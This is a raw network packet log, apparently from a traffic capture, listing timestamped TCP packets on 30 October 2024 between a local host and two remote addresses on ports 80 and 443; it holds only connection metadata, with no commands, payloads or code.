Oct 30, 2024 15:59:39.672772884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672774076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672785044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672797918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672808886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672815084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672877073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672877073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672884941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672895908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672936916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.673161030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.673203945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.673206091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.673216105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.673254013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.673284054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.673295021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.673306942 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.673346043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.709667921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.709688902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.709767103 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.710278988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.710295916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.710306883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.710344076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.710380077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.710390091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.710392952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.710405111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.710421085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.710448027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.710464954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.710731030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.781881094 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.781905890 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.781955957 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.781964064 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.782011032 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.782319069 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.782332897 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.782344103 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.782351017 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.785665989 CET	49792	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.785689116 CET	443	49792	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.785825968 CET	49792	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.786005974 CET	49792	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.786020041 CET	443	49792	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.786708117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.786731958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.786742926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.786770105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.786783934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.786788940 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.786794901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.786829948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.786854982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.786868095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.786897898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.786902905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787012100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787022114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787043095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787065029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787075996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787084103 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787089109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787130117 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787134886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787154913 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787175894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787295103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787324905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787336111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787342072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787365913 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787368059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787375927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787499905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787553072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787565947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787576914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787615061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787626028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787637949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787683964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787770033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787789106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787833929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787853003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787894964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787925959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787938118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787950039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.787983894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.787997007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788132906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788192987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788206100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788230896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788256884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788269997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788283110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788311958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788322926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788332939 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788333893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788357973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788383961 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788539886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788558960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788568974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788598061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788619041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788624048 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788738966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788794041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788806915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788839102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788858891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788887978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788899899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788912058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788924932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788964033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.788971901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.788986921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.789010048 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.789196968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.789208889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.789221048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.789251089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.789258003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.789287090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.789309025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.804610968 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.804682016 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.804864883 CET	49783	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.804891109 CET	49783	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.804910898 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.804934978 CET	49783	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.804939985 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.807387114 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.807425976 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.807538033 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.807666063 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.807678938 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.825259924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825280905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825290918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825323105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.825340033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825349092 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.825352907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825392008 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.825431108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825443983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825469017 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.825488091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825494051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.825501919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.825537920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.873706102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.873759031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.873778105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.873949051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902477980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902489901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902499914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902532101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902538061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902546883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902590990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902616978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902625084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902637005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902647972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902663946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902676105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902698040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902713060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902724981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902750969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902764082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902784109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902795076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902831078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902851105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902863026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902903080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.902956963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.902968884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903084040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903115988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903126955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903137922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903162956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903177977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903192997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903203964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903243065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903265953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903278112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903407097 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903585911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903604031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903615952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903636932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903649092 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903692007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903704882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903743982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903862953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903876066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903887033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903898954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903909922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.903925896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.903939009 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904001951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904014111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904023886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904045105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904056072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904087067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904098988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904125929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904136896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904231071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904244900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904288054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904299974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904305935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904341936 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904387951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904398918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904424906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904436111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904439926 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904469013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904473066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904491901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904501915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904573917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904633045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904644012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904654980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904680967 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904694080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.904731035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.904746056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.907942057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.907953024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.907963991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.907994032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.908004999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.908086061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.908109903 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.908121109 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.908138990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.908179045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.940927982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.940947056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.940958977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.940978050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.940987110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.941009998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.941051006 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.941066027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.941083908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.941098928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.941127062 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.941155910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018084049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018130064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018158913 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018174887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018196106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018201113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018213034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018219948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018230915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018237114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018244028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018260956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018276930 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018281937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018295050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018301964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018325090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018378019 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018404007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018414974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018424988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018436909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018450022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018450975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018470049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018491983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018517017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018528938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018538952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018565893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018589973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018656015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018667936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018680096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018692017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018704891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018726110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018737078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018748045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018778086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018781900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018789053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018804073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018802881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018817902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.018819094 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018830061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.018847942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019145966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019159079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019171000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019207954 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019221067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019234896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019247055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019275904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019283056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019288063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019356012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019404888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.019404888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019419909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019429922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019455910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019468069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.019476891 CET	49716	80	192.168.2.6	185.215.113.206
